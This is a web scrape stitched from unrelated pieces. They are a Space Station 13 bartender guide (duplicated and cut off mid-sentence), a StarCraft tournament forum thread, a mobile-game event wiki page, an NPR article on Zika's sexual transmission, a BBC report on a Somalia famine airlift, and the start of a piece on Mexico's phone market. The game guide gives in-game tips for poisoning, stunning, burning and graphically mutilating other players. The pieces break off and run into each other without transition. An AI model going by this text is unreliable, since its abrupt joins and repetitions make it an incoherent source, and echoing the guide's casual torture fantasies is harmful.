a useful melee weapon One of them is Neurotoxin which is rather widely known. This is made by having half morphine and half pan-galactic gargle blaster. What this does is instantly stun and I believe mute the person it is injected to. The damp rag that spawns on your bar works for this purpose if you set it to harm intent, causing you to smother someone with it and injecting up to 5u of any chem instantly, including neurotoxin if you soak it. Also works if you empty a bottle and fill it with Neurotoxin. If you smash a full bottle over someone's head filled with this it will put them down for many minutes. You can empty an alcohol bottle by pouring it into an empty glass then dumping the contents of the glass onto the floor by clicking on the floor when on harm intent. Another one is Hearty Punch. This requires 5 units of Brave Bull, 5 parts Syndicate Bomb, and 5 parts absinthe. After the ingredients are in a beaker, heat it with a welder or lighter, this activates the mixture and creates 5u of Hearty Punch. What this chem does is that if you go into critical condition, causes 6 of all forms of healing to heal you every second. Due to it being a bar drink, it also intoxicates you, though this is far worth being drunk as unless someone is stabbing you to death with an esword you will survive almost anything hitting you and get right back up, and even survive very powerful weapons if wearing armor. People might think you're a ling if you get up out of crit like this, so make sure to have a chat message ready. Likely a different story now that dismemberment is a thing, as they will just cut off all your limbs while you're down. Though for the aspiring traitor this could serve a good purpose, keeping your victims alive and ready for you to chop off all their limbs and rip out their tongue, creating a screaming worm-man who can only suffer. Also of note is that this is the most difficult drink to make, and also takes longer to make than any other drink I know. The next one is Changeling Sting. For one full glass, mix 20 lemon-lime and 10 Screwdriver Cocktail, as this drink seems to generate matter and produce more chems than you put in it. What this does is it restores the chemicals of changelings at a VERY fast rate. Almost nobody actually knows about this so if you're ever a ling and are seen chugging down changeling sting nobody will care and it will give you huge benefit. Useful if you intend on spamming spiders, especially as a bartender due to your secluded back room and easy access to vents for your new spiders. Make sure to cut the camera in your backroom first though before you do this or you'll get fucked by the AI. The last one, and the one I found the most useful, was Doctor's Delight. One full glass is made with 10 lime juice, 10 tomato juice, 10 orange juice, 10 milk cream, and 10 cryoxadone (there's free beakers in medbay roundstart), producing 50 units of Doctor's Delight. What this does is heal you every second for 0.5 of all forms of damage, and though it drains your hunger at a modest rate, you can just pour some water in a cup ramen and get all the hunger back near-instantly. For doctors, however, this drink has no hunger drain at all, meaning that if you're ever a Medical Doctor (but not the CMO) you can make some of this for easy healing on the go. Due to it's full-body healing properties, this is a very useful chem for spacewalking if you find yourself without a suit, though it doesn't heal fast enough to keep you out there forever. Cuba Libre is created with 30u of rum, and 15u of Space Cola. This heals revolutionary antags for a good amount, so if shit's going Viva put some of these drinks out and tell people about what they do, you'll be a good help. For revolutionaries in particular this is like Doctor's Delight but easier to make and has no downsides outside of getting people drunk. If you find yourself a revolutionary, make this instead of Doctor's Delight. Added bolding for tl;dr if people just want pure information. I'll be adding more useful and obscure drinks to this as time goes on. Edit: Some other special properties of your drinks is that lime juice has a 10% chance to heal 1 toxin damage every tick. Milk cream has a 10% chance to heal 1 brute damage per tick. Milk heals skeletons a giant amount if they can get their hands on it. Tomato Juice has a 10% chance to heal 1 burn damage per tick, and Orange Juice has a 10% chance to heal 1 oxygen damage per tick (basically useless). These heals are useful for extremely minor damage, though you may have to drink a lot to get healed all the way for even singular digits of damage. Additionally, the coffee you can vend out of your dispensers and any coffee machine on the stations heats people up no matter how cold they are (useful against cryostings that changelings use), and wakes people up if they're asleep, which is very useful if someone is put to sleep with morphine as this negates it entirely. Including yourself. If you're ever shot with a syringe of morphine you can drink a cup of coffee (watch out for burning yourself) and it won't ever put you to sleep, allowing you to ignore it entirely. On the other side of the coin, many of the sodas you can vend from your soda dispenser cool people down if they're too hot. If a plasma fire is out and about you can be of great help if a room is just too hot to handle. As a final tip, if you want to load someone up with pure drink such as Neurotoxin or whatever else in order to poison them, you can disguise the glass by transferring the neurotoxin to condiment bottles in a Hoochmaster machine you should have in the back of your bar. The advantage of this is that if someone isn't quite paying attention, you can force them to drink "condiment bottle" instead of "glass of Neurotoxin" as the game would label it if contained in a drinking glass.
RAW Paste Data
I know a bunch of bar drinks from playing SS13 a long time ago that are very very powerful and useful for many situations. Before I talk about any of the drinks, I would first like to talk about your tools. The first of which are your shotgun, bandolier, armor vest that you spawn wearing, and your beer goggles. Cherish them. Load the shotgun and your bandolier with buckshot. Make love to it Don't saw it off with a circular saw to make it smaller unless you're switching armors so you can put it in your bag, and make sure to unload it first or you'll shoot yourself in the face. You spawn with two armor vests so if you want to keep yours, you can give out the second one if you so wish, maybe organize a contest or something or ask an assistant to retrieve an item for you in exchange for it. Your beer goggles are extremely useful because not only do they function exactly like sunglasses, but they allow you to see what chems are in any beaker in the game. Normally, if you examine a container, you will see how many units are in the container, but not what these chems are. The beer goggles allow you to see what these chems are. The second of your great tools is your box, the box that everyone spawns with. The thing that makes this particularly useful is that it can be combined with your third tool, bottles. Bottles are legitimately one of the most overpowered items in the whole game because if you switch to harm intent and hit someone in the head with them, it deals 15 damage, stuns them for 2-3 seconds, and covers them in whatever was inside the bottle, (including chemicals you can make if you empty it out, though I will go over those later) though does not stun if they're wearing head armor. You can smash a bottle over someone's head and floor them, then just keep pulling out bottles and smashing them over the head with them until they die, then going back to your booze-o-mat to get more bottles. Due to these bottles spraying the victim with whatever was contained inside them, this means that the rather flammable alcohol they are likely covered in can also be lit on fire, so you can whip out your zippo that you spawn with and light them up before continuing to atomize them with bottles. Something else you can do with these bottles is create molotovs out of them. Molotovs are best made with vodka bottles by tablecrafting a damp rag (one spawns at your bar, and they can be found both in maint and created in botany) and a bottle, and once lit and thrown, will create one tile of fire that will do a LOT of damage. Something I liked to do was bottle smash people and then throw a molotov when they were floored. Back to your second tool, boxes. The reason why your box is your second most important tool is because they can hold SEVEN bottles that you can use to smash people into oblivion, or even seven molotovs. Bartenders on /tg/ spawn with two boxes, one with the internals that everyone has, and the other full of beanbags that do a lot of stamina damage, allowing you to have a lot of flexibility in regards to storage. You can transfer the beanbags to your bandolier by click dragging the box onto your bandolier. Additionally, once smashing a bottle, it creates a broken bottle that does 9 brute and on some /tg/ forks causes bleeding, so you can also stash that in there as a useful melee weapon One of them is Neurotoxin which is rather widely known. This is made by having half morphine and half pan-galactic gargle blaster. What this does is instantly stun and I believe mute the person it is injected to. The damp rag that spawns on your bar works for this purpose if you set it to harm intent, causing you to smother someone with it and injecting up to 5u of any chem instantly, including neurotoxin if you soak it. Also works if you empty a bottle and fill it with Neurotoxin. If you smash a full bottle over someone's head filled with this it will put them down for many minutes. You can empty an alcohol bottle by pouring it into an empty glass then dumping the contents of the glass onto the floor by clicking on the floor when on harm intent. Another one is Hearty Punch. This requires 5 units of Brave Bull, 5 parts Syndicate Bomb, and 5 parts absinthe. After the ingredients are in a beaker, heat it with a welder or lighter, this activates the mixture and creates 5u of Hearty Punch. What this chem does is that if you go into critical condition, causes 6 of all forms of healing to heal you every second. Due to it being a bar drink, it also intoxicates you, though this is far worth being drunk as unless someone is stabbing you to death with an esword you will survive almost anything hitting you and get right back up, and even survive very powerful weapons if wearing armor. People might think you're a ling if you get up out of crit like this, so make sure to have a chat message ready. Likely a different story now that dismemberment is a thing, as they will just cut off all your limbs while you're down. Though for the aspiring traitor this could serve a good purpose, keeping your victims alive and ready for you to chop off all their limbs and rip out their tongue, creating a screaming worm-man who can only suffer. Also of note is that this is the most difficult drink to make, and also takes longer to make than any other drink I know. The next one is Changeling Sting. For one full glass, mix 20 lemon-lime and 10 Screwdriver Cocktail, as this drink seems to generate matter and produce more chems than you put in it. What this does is it restores the chemicals of changelings at a VERY fast rate. Almost nobody actually knows about this so if you're ever a ling and are seen chugging down changeling sting nobody will care and it will give you huge benefit. Useful if you intend on spamming spiders, especially as a bartender due to your secluded back room and easy access to vents for your new spiders. Make sure to cut the camera in your backroom first though before you do this or you'll get |
Joined March 2014 United States 2947 Posts Last Edited: 2015-07-18 22:06:01 #2
Poll: Group A?
Mind (10)
59%
Movie (7)
41%
17 total votes (10)59%(7)41%17 total votes Your vote: Group A? (Vote): Movie
(Vote): Mind
Poll: Group B?
ZerO (9)
56%
Last (7)
44%
16 total votes (9)56%(7)44%16 total votes Your vote: Group B? (Vote): ZerO
(Vote): Last
Poll: Group C?
free (13)
76%
Hyuk (4)
24%
17 total votes (13)76%(4)24%17 total votes Your vote: Group C? (Vote): Hyuk
(Vote): free
Poll: Group D?
HiyA (12)
75%
Larva (4)
25%
16 total votes (12)75%(4)25%16 total votes Your vote: Group D? (Vote): Larva
(Vote): HiyA
Liquipedia
LaStScan Profile Joined May 2011 Korea (South) 1007 Posts #3 I did my best to help zero last night so I think he will do great!
I did 4 different ways of switching late mech. He destroyed me :/ Military Service 2018.07.12 ~ 2020.05.25 :')
outscar Profile Joined September 2014 1495 Posts Last Edited: 2015-07-18 23:18:34 #4 On July 19 2015 07:20 LaStScan wrote:
I did my best to help zero last night so I think he will do great!
I did 4 different ways of switching late mech. He destroyed me :/
I guess then if ZerO wins I will blame you for denying group B tiebrakers.
XKCD and BisuDagger - don't fall sleep, or miss any game and do your casting work! These tiebrakers (I'm 99% sure that there will be at least 1 tiebraker) gonna be amazing.
By the way I wanted to thank Effort for leaving this SSL so this departure lead to change of SSL intro music, after hearing it I'm a new fan of these guys. Guess which music playing?
I guess then if ZerO wins I will blame you for denying group B tiebrakers.XKCD and BisuDagger - don't fall sleep, or miss any game and do your casting work! These tiebrakers (I'm 99% sure that there will be at least 1 tiebraker) gonna be amazing.By the way I wanted to thank Effort for leaving this SSL so this departure lead to change of SSL intro music, after hearing it I'm a new fan of these guys. Guess which music playing? sunbeams are never made like me...
9heart Profile Joined January 2011 Canada 495 Posts #5 hypuuuu Larva appears to have gone for a 3 hatch spire into lurker into hive before muta, into defiler guardian...off 2 base...
Probemicro Profile Joined February 2014 3708 Posts #6 they should hold this day event slightly earlier
now its gonna only end at midnight
BisuDagger Profile Blog Joined October 2009 Bisutopia 16636 Posts #7 Day 6 will end in blood! Moderator Ofiicial Afreeca Starleague Caster: http://afreeca.tv/ASL2ENG2
prech Profile Joined March 2014 United States 2947 Posts #8
Poster from SBENU: Liquipedia
BLinD-RawR Profile Blog Joined April 2010 ALLEYCAT BLUES 43993 Posts #9 pls only group C tiebreaker. Moderator Woo Jung Ho, never forget.| Twitter: @BLinDRawR
nbaker Profile Joined July 2009 United States 1322 Posts #10 Gogo Zero!
amazingxkcd Profile Blog Joined September 2010 GRAND OLD AMERICA 15736 Posts #11 Oh boy, my family is in town to visit me so I hope the tiebreakers are worth it :D The world is burning and you rather be on this terrible website discussing video games and your shallow feelings
BLinD-RawR Profile Blog Joined April 2010 ALLEYCAT BLUES 43993 Posts #12 eh I honestly doubt it. Moderator Woo Jung Ho, never forget.| Twitter: @BLinDRawR
Probemicro Profile Joined February 2014 3708 Posts #13 inb4 3 tiebreakers and larva/hiya plays a 1 hour long game
outscar Profile Joined September 2014 1495 Posts #14 Larva vs. HiyA - best showmatch of this season for sure. I think they talked with each other about that. Nevertheless, do any elite fan remember how Sea.KH raped herO in SSL 10 when herO could force it into tiebrakers by won but get unlucky (or too lucky even after losing discovering cheese)? sunbeams are never made like me...
c3rberUs Profile Blog Joined December 2010 Japan 11274 Posts #15 I don't know I'll be able to stay awake if there will be tiebreakers, but I want more StarCraft! Writer Movie, 진영화 : "StarCraft will never die".
prech Profile Joined March 2014 United States 2947 Posts #16
Go Movie, Last, and free I'm afraid I won't be able to stay up for these matches. For any folks planning on updating LP, if any tiebreakers do happen, feel free to copy/paste the code used for the SSL10 tiebreaker format (http://wiki.teamliquid.net/starcraft/10th_SonicTV_Starleague#Round_of_16_Group_Stage). Regardless I'll be sure to touch things up in the morning...GoMovie,Last, andfree Liquipedia
BLinD-RawR Profile Blog Joined April 2010 ALLEYCAT BLUES 43993 Posts #17 You are cruel prech Moderator Woo Jung Ho, never forget.| Twitter: @BLinDRawR
[sc1f]eonzerg Profile Blog Joined February 2010 Belgium 5639 Posts #18 Mind/Last/Free
xccam Profile Blog Joined September 2009 Great Britain 1126 Posts #19 Lets get hype guys!
Its TieBreaker Time!
Greg_J Profile Blog Joined July 2010 China 3949 Posts #20 Lets go Broodwar
1 2 3 4 5 6 Next AllPast Content This page contains information about past content that is no longer available.
Contents show]
Synopsis
Goddess Leonne recommends to Lippy that Sara and the Savior use an ancient training ground to hone the Savior's stonecantation powers. The door is sealed, however, and can only be opened with someone whose soul has the essence of "The Abyss." What strength awaits behind these doors?
Character Enhancement Information
Within this event dungeon ONLY, special bonuses are given to characters from Tales of the Abyss
To view a list of stats after enhancement, please click here.
All Tales of the Abyss units gain a stat increase in the event dungeons. 3-Star Units: 1.2x 4-Star Units: 1.4x 5-Star Units: 2.0x 6-Star Units: 2.5x All obtain the fire elemental advantage, regardless of element.
Friend units do not gain bonuses.
Stages
Enemy units are earth element.
Each battle will drop an item, so potentially 3 tomes can be received per stage.
Stage Stamina Battles Drop Rates EASY 8 1 5% Summon Tome
95% R Sphere NORMAL 10 1 10% Summon Tome
90% R Sphere HARD 15 2 30% Summon Tome
70% R Sphere UNKNOWN 20 2 50% Summon Tome
50% R Sphere HELL or HEAVEN 25 3 85% Summon Tome
15% Summon Tome of the Abyss CHAOS 35 3 100% Summon Tome of the Abyss
Boss Information
All opponents have desperation moves with a 3 turn wind up.
All opponents with a target attack target.
Battle Appearance
Enemies can appear in certain rounds only. The round numbers are listed below, according to difficulty.
Boss Easy Normal Hard Unknown HoH Chaos Largo 1 1 1 1 1 1 Dist Arietta 2 2 Legretta 2 2 Sync 3 3 Asch
Largo
Level ATK HP Skill Effect Easy 2,500 50,000 Infernal Blast! Single Attack for? damage Blazing Talon! Single Attack for? x4 damage No holding back! ( )
→ Ravaging Thunder! Tile Attack for? damage per person Normal 3,500 120,000 Infernal Blast! Single Attack for? damage Blazing Talon! Single Attack for? x4 damage No holding back! ( )
→ Ravaging Thunder! Tile Attack for? damage per person Hard? 260,000 Infernal Blast! Single Attack for? damage Blazing Talon! Single Attack for? x4 damage Savage Flame! Single Attack for? x6 damage No holding back! ( )
→ Ravaging Thunder! Tile Attack for? damage per person Unknown 6,700 500,000 Infernal Blast! Single Attack for? damage Savage Flame! Single Attack for? x6 damage Stone Beast! Group Attack for? damage per person No holding back! ( )
→ Beast! Tile Attack for? damage per person plus Sleep (5T) HoH 9,900? Infernal Blast! Single Attack for 12,870 damage Savage Flame! Single Attack for 1,336 x6 damage Stone Beast! Group Attack for 1,482 damage per person No holding back! ( )
→ Beast! Tile Attack for 6,435 damage per person plus Sleep (5T) Chaos 20,000 8,000,000 Stone Beast! Group Attack for 3,000 damage per person No holding back! ( )
→ Beast! Tile Attack for 13,000 damage per person plus Sleep (5T) Drown in flames! (3)
→ Brimstone Tempest! Desperation Attack (3T windup) for 10,000 damage per person
Dist
Level ATK HP Skill Effect Easy 1,600 80,000 You won't get off that easy! Single Attack for? damage Sweep Single Attack for? x4 damage Here's one for you! ( )→ Blast Strike Tile Attack for? damage per person Normal 2,200 100,000 You won't get off that easy! Single Attack for? damage Sweep Single Attack for? x4 damage Here's one for you! ( )→ Blast Strike Tile Attack for? damage per person Hard 3,100 250,000 You won't get off that easy! Single Attack for? damage Sweep Single Attack for? x4 damage This one is for you! Single Attack for? x6 damage Here's one for you! ( )→ Blast Strike Tile Attack for? damage per person Unknown 6,700 500,000 You won't get off that easy! Single Attack for? damage This one is for you! Single Attack for? x6 damage It is I, Dist the Rose! Group Attack for? damage per person Here's one for you! ( )→ Blast Strike Tile Attack for? damage per person plus Burn (9T) HoH 8,500? You won't get off that easy! Single Attack for 11,050 damage This one is for you! Single Attack for 1,530 x6 damage It is I, Dist the Rose! Group Attack for 1,275 damage per person Here's one for you! ( )→ Blast Strike Tile Attack for 5,524 damage per person plus Burn (9T) Chaos 16,500 10,000,000 It is I, Dist the Rose! Group Attack for 2,475 damage per person Here's one for you! ( )→ Blast Strike Tile Attack for 10,725 damage per person plus Burn (9T) Witness my amazing attack! (3)
→ Twin Laser Desperation Attack (3T windup) for 8,250 damage per person
Arietta
Level ATK HP Skill Effect Easy? 35,000 Spark Wave! Single Attack for? damage Limited! Single Attack for? x4 damage Go down already! ( )
→ Maelstrom! Tile Attack for? damage per person Normal 2,900 70,000 Spark Wave! Single Attack for? damage Limited! Single Attack for? x4 damage Go down already! ( )
→ Maelstrom! Tile Attack for? damage per person Hard 3,900 180,000 Spark Wave! Single Attack for? damage Limited! Single Attack for? x4 damage Crimson Riot! Single Attack for? x6 damage Go down already! ( )
→ Maelstrom! Tile Attack for? damage per person Unknown? 390,000 Spark Wave! Single Attack for? damage Crimson Riot! Single Attack for? x6 damage Bloody Howling! Group Attack for? damage per person Go down already! ( )
→ Negative Gate! Tile Attack for? damage per person plus Sleep (4T) HoH 11,000 950,000 Spark Wave! Single Attack for 14,307 damage Crimson Riot! Single Attack for 1,980 x6 damage Bloody Howling! Group Attack for 1,648 damage per person Go down already! ( )
→ Negative Gate! Tile Attack for 7,148 damage per person plus Sleep (4T) Chaos 22,000 5,000,000 Bloody Howling! Group Attack for 3,300 damage per person Go down already! ( )
→ Negative Gate! Tile Attack for 14,300 damage per person plus Sleep (4T) It's all over! (3)
→ Evil Light! Desperation Attack (3T windup) for 11,000 damage per person
Legretta
Level ATK HP Skill Effect Easy 1,800 40,000 Cluster Raid! Single Attack for? damage Rage Laser! Single Attack for? x4 damage I won't allow it! ( )
→ Holy Lance! Tile Attack for? damage per person Normal?? Cluster Raid! Single Attack for? damage Rage Laser! Single Attack for? x4 damage I won't allow it! ( )
→ Holy Lance! Tile Attack for? damage per person Hard 3,200 200,000 Cluster Raid! Single Attack for? damage Rage Laser! Single Attack for? x4 damage Eclair de Larmes! Single Attack for? x6 damage I won't allow it! ( )
→ Holy Lance! Tile Attack for? damage per person Unknown 5,400 450,000 Cluster Raid! Single Attack for? damage Eclair de Larmes! Single Attack for? x6 damage Divine Saber! Group Attack for? damage per person I won't allow it! ( )
→ Searing Sorrow! Tile Attack for? damage per person plus Poison (3T) HoH 9,300? Cluster Raid! Single Attack for 12,090 damage Eclair de Larmes! Single Attack for 1,671 x6 damage Divine Saber! Group Attack for? damage per person I won't allow it! ( )
→ Searing Sorrow! Tile Attack for 6,042 damage per person plus Poison (3T) Chaos 18,000 7,000,000 Divine Saber! Group Attack for 2,700 damage per person I won't allow it! ( )
→ Searing Sorrow! Tile Attack for 11,700 damage per person plus Poison (3T) This ends now! (3)
→ Prism Ballet! Desperation Attack (3T windup) for 9,000 damage per person
Sync
Level ATK HP Skill Effect Easy 1,700 45,000 Stone Dragon Ascent! Single Attack for? damage Dragon Shot! Single Attack for? x4 damage Have a taste of this! ( )
→ Reaper's Toll! Tile Attack for? damage per person Normal 2,500 95,000 Stone Dragon Ascent! Single Attack for? damage Dragon Shot! Single Attack for? x4 damage Have a taste of this! ( )
→ Reaper's Toll! Tile Attack for? damage per person Hard 3,500 230,000 Stone Dragon Ascent! Single Attack for? damage Dragon Shot! Single Attack for? x4 damage Cyclone Blaze! Single Attack for? x6 damage Have a taste of this! ( )
→ Reaper's Toll! Tile Attack for? damage per person Unknown 6,000 480,000 Stone Dragon Ascent! Single Attack for? damage Cyclone Blaze! Single Attack for? x6 damage Ground Dasher! Group Attack for? damage per person Have a taste of this! ( )
→ Turbulence! Tile Attack for? damage per person plus Poison (3T) HoH 9,000? Stone Dragon Ascent! Single Attack for 11,700 damage Cyclone Blaze! Single Attack for 1,620 x6 damage Ground Dasher! Group Attack for 1,350 damage per person Have a taste of this! ( )
→ Turbulence! Tile Attack for 5,850 damage per person plus Poison (3T) Chaos 17,500 7,000,000 Ground Dasher! Group Attack for 2,624 damage per person Have a taste of this! ( )
→ Turbulence! Tile Attack for 11,375 damage per person plus Poison (3T) This next one will hurt! (3)
→ Harrowing Gale! Desperation Attack (3T windup) for 8,750 damage per person
Asch
Level ATK HP Skill Effect Easy 1,700 60,000 Light Spear Cannon! Single Attack for? damage Havoc Strike! Single Attack for? x4 damage You scum! ( )
→ Raging Blast! Tile Attack for? damage per person Normal 2,200 90,000 Light Spear Cannon! Single Attack for? damage Havoc Strike! Single Attack for? x4 damage You scum! ( )
→ Raging Blast! Tile Attack for? damage per person Hard 3,000 240,000 Light Spear Cannon! Single Attack for? damage Havoc Strike! Single Attack for? x4 damage Swallow Fury! Single Attack for? x6 damage You scum! ( )
→ Raging Blast! Tile Attack for? damage per person Unknown 5,200 550,000 Light Spear Cannon! Single Attack for? damage Swallow Fury! Single Attack for? x6 damage Guardian Field! 40% HP Recovery You scum! ( )
→ Rending Fang Blade! Tile Attack for? damage per person plus Poison (3T) HoH 8,500 1,200,000 Light Spear Cannon! Single Attack for 11,050 damage Swallow Fury! Single Attack for 1,530 x6 damage Guardian Field! 40% HP Recovery You scum! ( )
→ Rending Fang Blade! Tile Attack for 5,525 damage per person plus Poison (3T) Chaos 17,500 7,900,000 Guardian Field! 40% HP Recovery You scum! ( )
→ Rending Fang Blade! Tile Attack for 11,135 damage per person plus Poison (3T) Stay away, maggots! (3)
→ Rending Saber! Desperation Attack (3T windup) for 8,750 damage per person
Rewards
1x Hero stones (After the clash)
Summon Tome
Summon Tome of the Abyss
Units
[Knight Commandant] Van [Knight Commandant] Van
☆☆☆☆ Type Thrust LV 1 (80) ATK 782 (2500) HP 652 (1900) RCV 823 (1500) LC 6 Arte 2 hits against one foe (125% x2) LS Smirking smile (No effect in combat) AS
(99 LC) Deal 9999 damage to all enemies PSV Inspirit Attackers Aura Plus 2 Link Finisher 2 4-Star [Head Chancellor] Van [Head Chancellor] Van
☆☆☆☆☆ Type Thrust LV 1 (99) ATK 1168 (3500) HP 1093 (3400) RCV 1042 (2000) LC 6 Arte 3 hits against one foe (117% x3) LS Focus (No effect in combat) AS
(99 LC) Deal 99999 damage to all enemies PSV Double Boost Link Finisher 4 Inspirit Attackers 3 Aura Plus 3 5-Star
Guardians
Ion (4-star) Ion
☆☆☆☆ Type Support Element Wind Skill Leader of the Order
Boost RCV of wind heroes to 1.2x. 4-Star Ion (5-star) Ion
☆☆☆☆☆ Type Support Element Wind Skill The Will to Peace
Boost RCV of wind heroes to 1.25x. 5-Star
Reward Requirements
Rewards available until 10/06/17 (Friday).
Exchange Item Reward Required Amount Limit Summon Tome of the Abyss 5-Star Van 15 3 5-Star Ion 5 - Summon Tome 4-Star Van 10 6 4-Star Ion 5 -
Previous Duration
Duration: 9/19 (Mon) 8:00 - 10/03 (Mon) 7:59 PST (2016)
Tomes were exchanged after the event was over, and rewards were delivered to the inbox.
Reward Requirements
Necessary Item Required Amount Unit Reward Guardian Reward 5-Star Rewards Summon Tome of the Abyss 60 Van x3 Ion x1 Summon Tome of the Abyss 30 Van x2 Ion x1 Summon Tome of the Abyss 10 Van x1 Ion x1 4-Star Rewards Summon Tome 60 Van x6 Ion x1 Summon Tome 50 Van x5 Ion x1 Summon Tome 40 Van x4 Ion x1 Summon Tome 30 Van x3 Ion x1 Summon Tome 20 Van x2 Ion x1 Summon Tome 10 Van x1 Ion x1
Log-in Bonus
Summon Tome x10
Special Mission
Level Time Rewards 1 1 Hour Tales of the Abyss Unit
SR Tales of the Abyss Weapon
N, HN, or R Fusion Spheres
Transcript
IntroductionWhat We Know So Far About Sexual Transmission Of Zika Virus
Enlarge this image toggle caption Davide Doisneau/Flickr RF/Getty Images Davide Doisneau/Flickr RF/Getty Images
A patient acquired Zika virus in the U.S. through sex with a person who had traveled to a place where the virus is circulating, Dallas County, Texas, health officials and the Centers for Disease Control and Prevention reported Tuesday.
This is not the first time that the virus has been sexually transmitted, and it most likely isn't the first time it's been sexually transmitted in the U.S.
In 2008, two scientists returned to Colorado after months of field work in Senegal, where they'd been bitten by Aedes aegypti, the species of mosquito that transmits Zika virus.
One of them ended up passing the virus to his wife, most likely during intercourse. The couple noticed that the husband's semen had been bloody for a few days before the wife felt sick. She later tested positive for Zika, even though she had not left the U.S. in years. The pair co-authored a paper on their case, which has been called the first documented case of sexual transmission of an insect-borne disease.
During a Zika virus outbreak in French Polynesia in 2013, the virus was isolated from the bloody semen of a man in Tahiti. This was a few weeks after he had symptoms, and while his blood no longer contained traces of the virus, his urine did, and his semen contained live virus capable of replicating. The authors speculate that the virus may have replicated in the man's genital tract.
Similarly, Japanese researchers studying boars infected with a virus in the same family as Zika isolated virus from the urine and semen of boars that was capable of infecting a female through artificial insemination.
Is sexual transmission definitely possible? "Well, it sounds like it," says Dr. Robert Tesh, a professor at the University of Texas Medical Branch who studies emerging infectious diseases. But if it is, it's probably quite rare.
"I know it's sexy, talking about sexual transmission, but it's still the mosquito that's the important vector," says Tesh, who co-authored the case report from Colorado.
The silver lining is that both the Colorado case and the Texas case happened in the winter, when it's too cold out for the species of mosquito that transmits the virus to be out and about. So Zika couldn't have spread to other people by mosquito.
Though the virus has been connected with birth defects in Brazil, in adults the symptoms, if any appear, are often mild and short-lived: rash, joint pain, conjunctivitis and slight fever. The CDC is trying to figure out if an uptick in cases of Guillain-Barre syndrome, a neurological disorder, that was reported by the Brazil Ministry of Health is connected to Zika.
This story is part of our ongoing coverage of Zika virus.
Research on a 2013 outbreak in French Polynesia, the largest known, has yielded the most information on which bodily fluids Zika hangs out in, and when.
One study found signs of the virus in the saliva of patients shortly after the onset of symptoms. A small study in New Caledonia detected it in patients' urine more than 10 days after their first symptoms, and more than a week after it became undetectable in blood.
A third study found the virus in the breast milk of infected mothers, and concluded that two babies who tested positive for Zika virus within days of birth possibly acquired it from their mothers' bodily fluids during pregnancy or birth.
Tesh says it's unclear how the virus remains in bodily fluids, but hypothesizes that the virus could hide in white blood cells.Image caption The drought has been especially hard on young children in Somalia
The UN's World Food Programme (WFP) has begun to airlift emergency food supplies to famine-struck Somalia.
The first flight, with 10 tonnes of nutritional supplements for children, has landed in the capital Mogadishu, an African Union official told the BBC.
Millions in Somalia and across the Horn of Africa face dire food shortages in the worst regional drought for decades.
The Islamist al-Shabab militia, which controls much of Somalia, has banned the WFP from its areas.
The delivery was to have begun on Tuesday but was delayed from leaving Kenya by bureaucratic hurdles.
Challiss McDonough, a spokeswoman for the WFP, said the 10 tonnes of Plumpy'nut, a peanut-based paste high in protein and energy, would be enough to treat 3,500 malnourished children for one month.
Given the demand for food aid in Somalia, the delivery is just a drop in the ocean, says the BBC's East Africa correspondent Will Ross, in Nairobi, Kenya.
The Plumpy'nut was flown from France to Kenya on Monday.
More flights were planned for the coming weeks, Associated Press news agency quoted Ms McDonough as saying.
Fleeing to Mogadishu
The delivery is the first airlift of food aid since the UN declared a famine in two southern areas of Somalia last week.
Agencies banned by al-Shabab Care
International Medical Corps
UNDP
WFP
Similar flights are also due to take aid into the Ethiopian town of Dolo Ado, from where it can be moved across the border into Jubaland, a sliver of land held by Somalia's pro-government forces just west of famine-hit Bakool.
The aid is being moved by plane because sending it by boat would take months, said Ms McDonough.
Tens of thousands of Somalis have fled areas controlled by al-Shabab to Mogadishu and neighbouring Kenya and Ethiopia in search of assistance. The weak interim Somali government, backed by an African Union (AU) force, controls only parts of Mogadishu.
A spokesman for the AU force, Lt Col Paddy Ankunda, told the BBC the Boeing 737 delivering the 10 tonnes of supplies had landed at Mogadishu's airport.
Extended drought is causing a severe food crisis in the Horn of Africa, which includes Kenya, Ethiopia, Djibouti and Somalia. Weather conditions over the Pacific means the rains have failed for two seasons and are unlikely to return until October. An estimated 12 million people in the region are affected by the drought. The UN has declared a famine in six areas of southern Somalia, where it says 750,000 people could die in the coming months in the absence of adequate response. The humanitarian problem is made worse by conflicts. Militants had lifted a ban on aid agencies operating in parts of southern Somalia, but have since accused Western groups of exaggerating the scale of the crisis and again limited access. Since the beginning of 2011, around 15,000 Somalis each month have fled into refugee camps in Kenya and Ethiopia looking for food and water. The refugee camp at Dadaab, in Kenya, has been overwhelmed by more than 420,000 people. Farmers unable to meet their basic food costs are abandoning their herds. High cereal and fuel prices had already forced them to sell many animals before the drought and their smaller herds are now unprofitable or dying. The refugee problem may have been preventable. However, violent conflict in the region has deterred international investment in long-term development programmes, which could have reduced the effects of the drought. Development aid would focus on reducing deforestation, topsoil erosion and overgrazing and improving water conservation. New roads and infrastructure for markets would help farmers increase their profits. The result of climate conditions, conflict and lack of investment is that millions of people in Kenya, Ethiopia and Somalia are currently existing on food rations in what is said to be East Africa's worst drought for 60 years. BACK {current} of {total} NEXT
The AU has 9,200 peacekeepers in Mogadishu to guard the airport and government-held territory in the city.
Somalia is thought to be worst-hit by the crisis, but Ethiopia, Kenya and Djibouti have also been affected.
More than 10 million people in the region are thought to be at risk.
Somali Foreign Minister Mohamed Ibrahim has warned that more than 3.5 million people "may starve to death" in his country.
The Prime Minister, Abdiweli Mohamed Ali, has complained that the UN is being too slow with the delivery of food.
The challenge facing all aid agencies is immense but some analysts are questioning why this emergency was not prevented - as the severe drought and food shortage were predicted late last year, says our East Africa correspondent.
After criticisms that wealthy Arab states were not doing enough to help with the crisis, Saudi Arabia has pledged $50m (£30m) to the WFP to buy food for Somalis, the UN agency has said.
It follows an announcement from the European Union that it would donate $40m on top of the $61m it had already given the drought-hit region of East Africa this year.Twenty years ago only one out of 10 people in Mexico had a telephone of any kind. Today, more than 100 million people (out of a population of roughly 125 million) have cell phones and, more amazingly, more than 70 percent of those are smartphones. To keep up the torrid growth, scrappy competitors are offering smartphones for every budget and plans that let users choose right from their handsets which services they want and how much they want to spend.
Three factors have catapulted Mexico’s mobile industry into the 21st century. First, Mexico has grown into the world’s 11th largest economy (in terms of purchasing power) in just the last two decades. Second, millennials are Mexico’s largest demographic group (they make up more than half of Mexico’s online population) and they want and expect what their counterparts in developed countries have. And third, the towering presence of a company that Mexico’s government considers a monopoly in both the landline and mobile markets has spurred its smaller (though not unsubstantial) competitors to be more inventive and aggressive.
That monopoly is the creation of a man who for four years in a row was ranked the world’s wealthiest individual, Carlos Slim. His flagship business, America Móvil, is one of the largest telecom concerns in the world, with operations in nearly 30 countries.
